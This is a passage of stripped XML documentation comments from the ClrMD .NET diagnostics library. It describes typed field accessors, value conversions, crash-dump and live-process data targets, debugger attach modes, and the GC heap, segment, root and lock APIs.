MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field or null if this object points to a null value. A ClrValue represents the value of a field or variable. This value may be of any type (or null). Returns the size of the value. Returns the address of the value. Returns the result of ReadPointer(Address) if this value is an object. Returns whether Address is an interior value. Returns whether this value is null (or otherwise cannot be accessed). Returns the element type of this value. The runtime associated with this value. Returns the type of this value. Obtains the element type when ElementType is a struct. The ClrType of this value, or ClrHeap.ErrorType if it could not be obtained. Returns a ClrObject for this value. A ClrObject for this value. If the value is null, then ClrObject.IsNull will the true and ClrObject.Type will equal ClrHeap.ErrorType. Converts the value to a boolean. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to a byte. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a byte. Converts the value to a sbyte. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a sbyte. Converts the value to a char. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a char. Converts the value to a short. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to a ushort. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a boolean. Converts the value to an int. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as an int. Converts the value to a uint. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a uint. Converts the value to a ulong. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a ulong. Converts the value to a long. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a long. Converts the value to a float. This value as a float. Converts the value to a double. This value as a double. Converts the value to a raw string. This method will throw an InvalidOperationException if the target value is not a string. The string contents of this value. Converts the value to an IntPtr. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as an IntPtr. Converts the value to a UIntPtr. Note that this method is a conversion, not a cast. Similarly sized data will be converted. This value as a UIntPtr. Gets an object reference field from ClrObject. Any field which is a subclass of System.Object The name of the field to retrieve. Retrieves a field from this value. The name of the field. A ClrValue representing this field. Gets a boolean field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a signed byte field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a character field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned short field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a int field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a uint field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a long field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a ulong field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a float field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a double field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a string field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets a pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. Gets an unsigned pointer field from the object. Note that the type must match exactly, as this method will not do type coercion. This method will throw an ArgumentException if no field matches the given name. It will throw a NullReferenceException if the target object is null (that is, if (IsNull returns true). It will throw an InvalidOperationException if the field is not of the correct type. Lastly, it will throw a MemoryReadException if there was an error reading the value of this field out of the data target. The name of the field to get the value for. The value of the given field. ToString implementation. A string value of this type. Represents the version of a DLL. In a version 'A.B.C.D', this field represents 'A'. In a version 'A.B.C.D', this field represents 'B'. In a version 'A.B.C.D', this field represents 'C'. In a version 'A.B.C.D', this field represents 'D'. To string. The A.B.C.D version prepended with 'v'. Returns the "flavor" of CLR this module represents. This is the full version of CLR included with windows. This is a reduced CLR used in other projects. Used for .Net Native. Represents information about a single Clr runtime in a process. The version number of this runtime. The type of CLR this module represents. Returns module information about the Dac needed create a ClrRuntime instance for this runtime. Returns module information about the ClrInstance. Returns the location of the local dac on your machine which matches this version of Clr, or null if one could not be found. Creates a runtime from the given Dac file on disk. Creates a runtime from a given IXClrDataProcess interface. Used for debugger plugins. Creates a runtime from the given Dac file on disk. A full path to the matching mscordacwks for this process. Whether or not to ignore mismatches between To string. A version string for this Clr runtime. IComparable. Sorts the object by version. The object to compare to. -1 if less, 0 if equal, 1 if greater. Specifies how to attach to a live process. Performs an invasive debugger attach. Allows the consumer of this API to control the target process through normal IDebug function calls. The process will be paused. Performs a non-invasive debugger attach. The process will be paused by this attached (and for the duration of the attach) but the caller cannot control the target process. This is useful when there's already a debugger attached to the process. Performs a "passive" attach, meaning no debugger is actually attached to the target process. The process is not paused, so queries for quickly changing data (such as the contents of the GC heap or callstacks) will be highly inconsistent unless the user pauses the process through other means. Useful when attaching with ICorDebug (managed debugger), as you cannot use a non-invasive attach with ICorDebug. Information about a specific PDB instance obtained from a PE image. The Guid of the PDB. The pdb revision. The filename of the pdb. Creates an instance of the PdbInfo class Creates an instance of the PdbInfo class with the corresponding properties initialized Provides information about loaded modules in a DataTarget The base address of the object. The filesize of the image. The build timestamp of the image. The filename of the module on disk. Returns true if this module is a native (non-managed) .Net runtime module. Returns a PEFile from a stream constructed using instance fields of this object. If the PEFile cannot be constructed correctly, null is returned Whether the module is managed or not. To string. The filename of the module. The PDB associated with this module. The version information for this file. Empty constructor for serialization. Creates a ModuleInfo object with an IDataReader instance. This is used when lazily evaluating VersionInfo. Represents the dac dll Returns the filename of the dac dll according to the specified parameters The platform-agnostice filename of the dac dll The architecture (x86 or amd64) being targeted Constructs a DacInfo object with the appropriate properties initialized The result of a VirtualQuery. The base address of the allocation. The size of the allocation. Constructor. Base address of the memory range. The size of the memory range. An interface for reading data out of the target process. Called when the DataTarget is closing (Disposing). Used to clean up resources. Informs the data reader that the user has requested all data be flushed. Gets the architecture of the target. The architecture of the target. Gets the size of a pointer in the target process. The pointer size of the target process. Enumerates modules in the target process. A list of the modules in the target process. Gets the version information for a given module (given by the base address of the module). The base address of the module to look up. The version info for the given module. Read memory out of the target process. The address of memory to read. The buffer to write to. The number of bytes to read. The number of bytes actually read out of the target process. True if any bytes were read at all, false if the read failed (and no bytes were read). Read memory out of the target process. The address of memory to read. The buffer to write to. The number of bytes to read. The number of bytes actually read out of the target process. True if any bytes were read at all, false if the read failed (and no bytes were read). Returns true if the data target is a minidump (or otherwise may not contain full heap data). True if the data target is a minidump (or otherwise may not contain full heap data). Gets the TEB of the specified thread. The OS thread ID to get the TEB for. The address of the thread's teb. Enumerates the OS thread ID of all threads in the process. An enumeration of all threads in the target process. Gets information about the given memory range. An arbitrary address in the target process. The base address and size of the allocation. True if the address was found and vq was filled, false if the address is not valid memory. Gets the thread context for the given thread. The OS thread ID to read the context from. The requested context flags, or 0 for default flags. The size (in bytes) of the context parameter. A pointer to the buffer to write to. Gets the thread context for the given thread. The OS thread ID to read the context from. The requested context flags, or 0 for default flags. The size (in bytes) of the context parameter. A pointer to the buffer to write to. Read a pointer out of the target process. The pointer at the give address, or 0 if that pointer doesn't exist in the data target. Read an int out of the target process. The int at the give address, or 0 if that pointer doesn't exist in the data target. The type of crash dump reader to use. Use DbgEng. This allows the user to obtain an instance of IDebugClient through the DataTarget.DebuggerInterface property, at the cost of strict threading requirements. Use a simple dump reader to read data out of the crash dump. This allows processing multiple dumps (using separate DataTargets) on multiple threads, but the DataTarget.DebuggerInterface property will return null. A crash dump or live process to read out of. Creates a DataTarget from a crash dump. The crash dump's filename. A DataTarget instance. Creates a DataTarget from a crash dump, specifying the dump reader to use. The crash dump's filename. The type of dump reader to use. A DataTarget instance. Create an instance of DataTarget from a user defined DataReader A user defined DataReader. A new DataTarget instance. Creates a data target from an existing IDebugClient interface. If you created and attached a dbgeng based debugger to a process you may pass the IDebugClient RCW object to this function to create the DataTarget. The dbgeng IDebugClient object. We will query interface on this for IDebugClient. A DataTarget instance. Invasively attaches to a live process. The process ID of the process to attach to. Timeout in milliseconds. A DataTarget instance. Attaches to a live process. The process ID of the process to attach to. Timeout in milliseconds. The type of attach requested for the target process. A DataTarget instance. The data reader for this instance. Instance to manage the symbol path(s) A symbol provider which loads PDBs on behalf of ClrMD. This should be set so that when ClrMD needs to resolve names which can only come from PDBs. If this is not set, you may have a degraded experience. Returns true if the target process is a minidump, or otherwise might have limited memory. If IsMinidump returns true, a greater range of functions may fail to return data due to the data not being present in the application/crash dump you are debugging. Returns the architecture of the target process or crash dump. Returns the list of Clr versions loaded into the process. Returns the pointer size for the target process. Reads memory from the target. The address to read from. The buffer to store the data in. Size must be greator or equal to bytesRequested. The amount of bytes to read from the target process. The actual number of bytes read. True if any bytes were read out of the process (including a partial read). False if no bytes could be read from the address. Returns the IDebugClient interface associated with this datatarget. (Will return null if the user attached passively.) Enumerates information about the loaded modules in the process (both managed and unmanaged). IDisposable implementation. InBuffer - Unused. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Machine-specific CONTEXT. InBuffer - Unused. OutBuffer - ULONG system ID of thread. InBuffer - Unused. OutBuffer - EXCEPTION_RECORD64. InBuffer - Unused. OutBuffer - DEBUG_CREATE_PROCESS_OPTIONS. InBuffer - DEBUG_CREATE_PROCESS_OPTIONS. OutBuffer - Unused. InBuffer - Unused. OutBuffer - ULONG[2] major/minor. InBuffer - DEBUG_READ_USER_MINIDUMP_STREAM. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Unused. InBuffer - PTSTR. OutBuffer - Unused. InBuffer - Unused. OutBuffer - Event code stream offset. InBuffer - Unused. OutBuffer - Event code stream information. InBuffer - Input data block. OutBuffer - Processed data block. InBuffer - Unused. OutBuffer - Returned path. InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. InBuffer - ULONG64 cookie. OutBuffer - DEBUG_CACHED_SYMBOL_INFO. InBuffer - DEBUG_CACHED_SYMBOL_INFO. OutBuffer - ULONG64 cookie. InBuffer - ULONG64 cookie. OutBuffer - Unused. InBuffer - DEBUG_GET_TEXT_COMPLETIONS_IN. OutBuffer - DEBUG_GET_TEXT_COMPLETIONS_OUT. InBuffer - Unused. OutBuffer - Unused. InBuffer - ULONG64 offset. OutBuffer - Unwind information. InBuffer - Unused OutBuffer - returned DUMP_HEADER32/DUMP_HEADER64 structure. InBuffer - DUMP_HEADER32/DUMP_HEADER64 structure. OutBuffer - Unused InBuffer - Midori specific OutBuffer - Midori specific InBuffer - Unused OutBuffer - PROCESS_NAME_ENTRY blocks InBuffer - Unused OutBuffer - MINIDUMP_MISC_INFO_N blocks InBuffer - Unused OutBuffer - ULONG64 as TokenHandle value InBuffer - Unused OutBuffer - ULONG64 as TokenHandle value InBuffer - ULONG64 as TokenHandle being duplicated OutBuffer - ULONG64 as new duplicated TokenHandle InBuffer - a ULONG64 as TokenHandle and a ULONG as NtQueryInformationToken() request code OutBuffer - NtQueryInformationToken() return InBuffer - ULONG64 as TokenHandle OutBuffer - Unused InBuffer - ULONG64 for process server identification and ULONG as PID OutBuffer - Unused InBuffer - ULONG64 for process server identification and PWSTR as module path OutBuffer - Unused InBuffer - Unused OutBuffer - Unused return - S_OK if non-invasive user-mode attach, S_FALSE if not (but still live user-mode), E_FAIL otherwise. InBuffer - TID OutBuffer - Unused return - ResumeThreads() return. The process is a console application that is being run without a console window. Therefore, the console handle for the application is not set. This flag is ignored if the application is not a console application, or if it is used with either CREATE_NEW_CONSOLE or DETACHED_PROCESS. This bit is added in DEBUG_CES_EXECUTION_STATUS notifications when the engines execution status is changing due to operations performed during a wait, such as making synchronous callbacks. If the bit is not set the execution status is changing due to a wait being satisfied. This bit is added in DEBUG_CES_EXECUTION_STATUS notifications when the engines execution status update is coming after a wait has timed-out. It indicates that the execution status change was not due to an actual event. Creates a new file. The function fails if a specified file exists. Creates a new file, always. If a file exists, the function overwrites the file, clears the existing attributes, combines the specified file attributes, and flags with FILE_ATTRIBUTE_ARCHIVE, but does not set the security descriptor that the SECURITY_ATTRIBUTES structure specifies. Opens a file. The function fails if the file does not exist. Opens a file, always. If a file does not exist, the function creates a file as if dwCreationDisposition is CREATE_NEW. Opens a file and truncates it so that its size is 0 (zero) bytes. The function fails if the file does not exist. The calling process must open the file with the GENERIC_WRITE access right. This method is not used. Describes a symbol within a module. The location in the target's virtual address space of the module's base address. The symbol ID of the symbol within the module. The location in the target's virtual address space of the module's base address. The symbol ID of the symbol within the module. Address of the AppDomain. The AppDomain's ID. The name of the AppDomain, as specified when the domain was created. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. If the field has a well defined offset from the base of the object, return it (otherwise -1). Given an object reference, fetch the address of the field. Returns the version of the target process (v2, v4, v45) Returns the pointer size of the target process. Returns the MethodTable for an array of objects. Enumerates all managed threads in the process. Only threads which have previously run managed code will be enumerated. Returns the MethodTable for string objects. Returns the MethodTable for free space markers. The address of the system domain in CLR. The address of the shared domain in CLR. The address of the system domain in CLR. The address of the shared domain in CLR. Enumerates regions of memory which CLR has allocated with a description of what data resides at that location. Note that this does not return every chunk of address space that CLR allocates. An enumeration of memory regions in the process. Converts an address into an AppDomain. Flushes the dac cache. This function MUST be called any time you expect to call the same function but expect different results. For example, after walking the heap, you need to call Flush before attempting to walk the heap again. Returns the name of the type as specified by the TypeHandle. Note this returns the name as specified by the metadata, NOT as you would expect to see it in a C# program. For example, generics are denoted with a ` and the number of params. Thus a Dictionary (with two type params) would look like: System.Collections.Generics.Dictionary`2 The TypeHandle to get the name of. The name of the type, or null on error. Equivalent to GetDisplayString(false). The allocation context pointers/limits for this heap. The keys of this dictionary are the allocation pointers, the values of this dictionary are the limits. If an allocation pointer is ever reached while walking a segment, you must "skip" past the allocation limit. That is: if (curr_obj is in AllocPointers) curr_obj = AllocPointers[curr_obj] + min_object_size; Returns the address of the ephemeral segment. Users of this API should use HeapSegment.Ephemeral instead of this property. Returns the actual end of the ephemeral segment. A messy version with better performance that doesn't use regular expression. Represents a managed module in the target process. Gets the runtime which contains this module. Returns a list of all AppDomains this module is loaded into. Please note that unlike ClrRuntime.AppDomains, this list may include the shared AppDomain. Returns the name of the assembly that this module is defined in. Returns an identifier to uniquely represent this assembly. This value is not used by any other function in ClrMD, but can be used to group modules by their assembly. (Do not use AssemblyName for this, as reflection and other special assemblies can share the same name, but actually be different.) Returns the name of the module. Returns true if this module was created through Reflection.Emit (and thus has no associated file). Returns true if this module is an actual PEFile on disk. Returns the filename of where the module was loaded from on disk. Undefined results if IsPEFile returns false. Returns the base of the image loaded into memory. This may be 0 if there is not a physical file backing it. Returns the size of the image in memory. Enumerate all types defined by this module. The location of metadata for this module in the process's memory. This is useful if you need to manually create IMetaData* objects. The length of the metadata for this module. The IMetaDataImport interface for this module. Note that this API does not provide a wrapper for IMetaDataImport. You will need to wrap the API yourself if you need to use this. The debugging attributes for this module. Attempts to obtain a ClrType based on the name of the type. Note this is a "best effort" due to the way that the dac handles types. This function will fail for Generics, and types which have never been constructed in the target process. Please be sure to null-check the return value of this function. The name of the type. (This would be the EXACT value returned by ClrType.Name. The requested ClrType, or null if the type doesn't exist or couldn't be constructed. Returns a name for the assembly. A name for the assembly. Returns the pdb information for this module. Returns a given type by its metadata token. The metadata token to resolve. A ClrType for the given metadata token. A ClrHeap is a abstraction for the whole GC Heap. Subclasses allow you to implement this for a particular kind of heap (whether live, When ClrMD cannot determine the type of an object (either because the address is invalid or we encountered an error looking up the object's type), then we return a ClrType which indicates there was an error. This property returns that type. When ClrMD needs to hand out a ClrType for a null object (such as ClrValue.GetObject on a field which is null). And the ability to take an address of an object and fetch its type (The type alows further exploration) Returns a ClrObject for the given object address. The address of an object A ClrObject for the given address. Returns whether this version of CLR has component MethodTables. Component MethodTables were removed from desktop CLR in v4.6, and do not exist at all on .Net Native. If this method returns false, all componet MethodTables will be 0, and expected to be 0 when an argument to a function. Attempts to retrieve the MethodTable and component MethodTable from the given object. Note that this some ClrTypes cannot be uniquely determined by MethodTable alone. In Desktop CLR (prior to v4.6), arrays of reference types all use the same MethodTable but also carry a second MethodTable (called the component MethodTable) to determine the array element types. Note this function has undefined behavior if you do not pass a valid object reference to it. The object to get the MethodTable of. The MethodTable for the given object. The component MethodTable of the given object. True if methodTable was filled, false if we failed to read memory. Attempts to retrieve the MethodTable from the given object. Note that this some ClrTypes cannot be uniquely determined by MethodTable alone. In Desktop CLR, arrays of reference types all use the same MethodTable. To uniquely determine an array of referneces you must also have its component type. Note this function has undefined behavior if you do not pass a valid object reference to it. The object to get the MethodTablee of. The MethodTable of the object, or 0 if the address could not be read from. Retrieves the EEClass from the given MethodTable. EEClasses do not exist on .Net Native. The MethodTable to get the EEClass from. The EEClass for the given MethodTable, 0 if methodTable is invalid or does not exist. Retrieves the MethodTable associated with the given EEClass. The eeclass to get the method table from. The MethodTable for the given EEClass, 0 if eeclass is invalid or does not exist. Returns a wrapper around a System.Exception object (or one of its subclasses). Returns the runtime associated with this heap. A heap is has a list of contiguous memory regions called segments. This list is returned in order of of increasing object addresses. Enumerate the roots of the process. (That is, all objects which keep other objects alive.) Equivalent to EnumerateRoots(true). Looks up a type by name. The name of the type. The ClrType matching 'name', null if the type was not found, and undefined if more than one type shares the same name. Retrieves the given type by its MethodTable/ComponentMethodTable pair. The ClrType.MethodTable for the requested type. The ClrType's component MethodTable for the requested type. A ClrType object, or null if no such type exists. Retrieves the given type by its MethodTable/ComponentMethodTable pair. Note this is only valid if the given type's component MethodTable is 0. The ClrType.MethodTable for the requested type. A ClrType object, or null if no such type exists. Enumerate the roots in the process. True if we should enumerate static variables. Enumerating with statics can take much longer than enumerating without them. Additionally these will be be "double reported", since all static variables are pinned by handles on the HandleTable (which is also enumerated with EnumerateRoots). You would want to enumerate statics with roots if you care about what exact statics root what objects, but not if you care about performance. Enumerates all types in the runtime. An enumeration of all types in the target process. May return null if it's unsupported for that version of CLR. Enumerates all finalizable objects on the heap. Enumerates all managed locks in the process. That is anything using System.Monitor either explictly or implicitly through "lock (obj)". This is roughly equivalent to combining SOS's !syncblk command with !dumpheap -thinlock. Returns true if the GC heap is in a consistent state for heap enumeration. This will return false if the process was stopped in the middle of a GC, which can cause the GC heap to be unwalkable. Note, you may still attempt to walk the heap if this function returns false, but you will likely only be able to partially walk each segment. Enumerates all objects on the heap. This is equivalent to enumerating all segments then walking each object with ClrSegment.FirstObject, ClrSegment.NextObject, but in a simple enumerator for easier use in linq queries. An enumerator for all objects on the heap. Enumerates all objects on the heap. An enumeration of all objects on the heap. TotalHeapSize is defined as the sum of the length of all segments. Get the size by generation 0, 1, 2, 3. The large object heap is Gen 3 here. The sum of all of these should add up to the TotalHeapSize. Returns the generation of an object. Returns the object after this one on the segment. The object to find the next for. The next object on the segment, or 0 if the object was the last one on the segment. Returns the GC segment for the given object. Returns true if the given address resides somewhere on the managed heap. Pointer size of on the machine (4 or 8 bytes). Returns a string representation of this heap, including the size and number of segments. The string representation of this heap. Read 'count' bytes from the ClrHeap at 'address' placing it in 'buffer' starting at offset 'offset' Attempts to efficiently read a pointer from memory. This acts exactly like ClrRuntime.ReadPointer, but there is a greater chance you will hit a chache for a more efficient memory read. The address to read. The pointer value. True if we successfully read the value, false if addr is not mapped into the process space. Represents a managed lock within the runtime. The object associated with the lock. Whether or not the object is currently locked. The recursion count of the lock (only valid if Locked is true). The thread which currently owns the lock. This is only valid if Taken is true and only valid if HasSingleOwner is true. Returns true if this lock has only one owner. Returns false if this lock may have multiple owners (for example, readers on a RW lock). Returns the list of owners for this object. Returns the list of threads waiting on this object. The reason why it's blocking. The type of GCRoot that a ClrRoot represnts. The root is a static variable. The root is a thread static. The root is a local variable (or compiler generated temporary variable). The root is a strong handle. The root is a weak handle. The root is a strong pinning handle. The root comes from the finalizer queue. The root is an async IO (strong) pinning handle. The max value of this enum. Represents a root in the target process. A root is the base entry to the GC's mark and sweep algorithm. A GC Root also has a Kind, which says if it is a strong or weak root The name of the root. The type of the object this root points to. That is, ClrHeap.GetObjectType(ClrRoot.Object). The object on the GC heap that this root keeps alive. The address of the root in the target process. If the root can be identified as belonging to a particular AppDomain this is that AppDomain. It an be null if there is no AppDomain associated with the root. If the root has a thread associated with it, this will return that thread. Returns true if Object is an "interior" pointer. This means that the pointer may actually point inside an object instead of to the start of the object. Returns true if the root "pins" the object, preventing the GC from relocating it. Unfortunately some versions of the APIs we consume do not give us perfect information. If this property is true it means we used a heuristic to find the value, and it might not actually be considered a root by the GC. Returns a string representation of this object. A string representation of this object. A GCHeapSegment represents a contiguous region of memory that is devoted to the GC heap. Segments. It has a start and end and knows what heap it belongs to. Segments can optional have regions for Gen 0, 1 and 2, and Large properties. The start address of the segment. All objects in this segment fall within Start <= object < End. The end address of the segment. All objects in this segment fall within Start <= object < End. The number of bytes in the segment. The GC heap associated with this segment. There's only one GCHeap per process, so this is only a convenience method to keep from having to pass the heap along with a segment. The processor that this heap is affinitized with. In a workstation GC, there is no processor affinity (and the return value of this property is undefined). In a server GC each segment has a logical processor in the PC associated with it. This property returns that logical processor number (starting at 0). The address of the end of memory reserved for the segment, but not committed. The address of the end of memory committed for the segment (this may be longer than Length). Returns the first object's address on this segment. Returns the first object on this segment. Given an object on the segment, return the 'next' object in the segment. Returns 0 when there are no more objects. (Or enumeration is not possible) Returns the next object given an object on this segment. Returns an object with IsNull set to true when reaching the end of this segment. Returns true if this is a segment for the Large Object Heap. False otherwise. Large objects (greater than 85,000 bytes in size), are stored in their own segments and only collected on full (gen 2) collections. Returns true if this segment is the ephemeral segment (meaning it contains gen0 and gen1 objects). Ephemeral heap sements have geneation 0 and 1 in them. Gen 1 is always above Gen 2 and Gen 0 is above Gen 1. This property tell where Gen 0 start in memory. Note that if this is not an Ephemeral segment, then this will return End (which makes Gen 0 empty for this segment) The length of the gen0 portion of this segment. The start of the gen1 portion of this segment. The length of the gen1 portion of this segment. The start of the gen2 portion of this segment. The length of the gen2 portion of this segment. Enumerates all objects on the segment. Returns the generation of an object in this segment. An object in this segment. The generation of the given object if that object lies in this segment. The return value is undefined if the object does not lie in this segment. Returns a string representation of this object. A string representation of this object. Every thread which is blocking on an object specifies why the object is waiting. Object is not locked. Not able to determine why the object is blocking. The thread is waiting for a Mutex or Semaphore (such as Monitor.Enter, lock(obj), etc). The thread is waiting for a mutex with Monitor.Wait. The thread is waiting for an event (ManualResetEvent.WaitOne, AutoResetEvent.WaitOne). The thread is waiting in WaitHandle.WaitAll. The thread is waiting in WaitHandle.WaitAny. The thread is blocked on a call to Thread.Join. ReaderWriterLock, reader lock is taken. ReaderWriterLock, writer lock is taken. Types of GC segments. Ephemeral segments are the only segments to contain Gen0 and Gen1 objects. It may also contain Gen2 objects, but not always. Objects are only allocated on the ephemeral segment. There is one ephemeral segment per logical GC heap. It is important to not have too many pinned objects in the ephemeral segment, or you will run into a performance problem where the runtime runs too many GCs. Regular GC segments only contain Gen2 objects. The large object heap contains objects greater than a certain threshold. Large object segments are never compacted. Large objects are directly allocated onto LargeObject segments, and all large objects are considered gen2. Defines the state of the thread from the runtime's perspective. In Cooperative mode the thread must cooperate before a GC may proceed. This means when a GC starts, the runtime will attempt to suspend the thread at a safepoint but cannot immediately stop the thread until 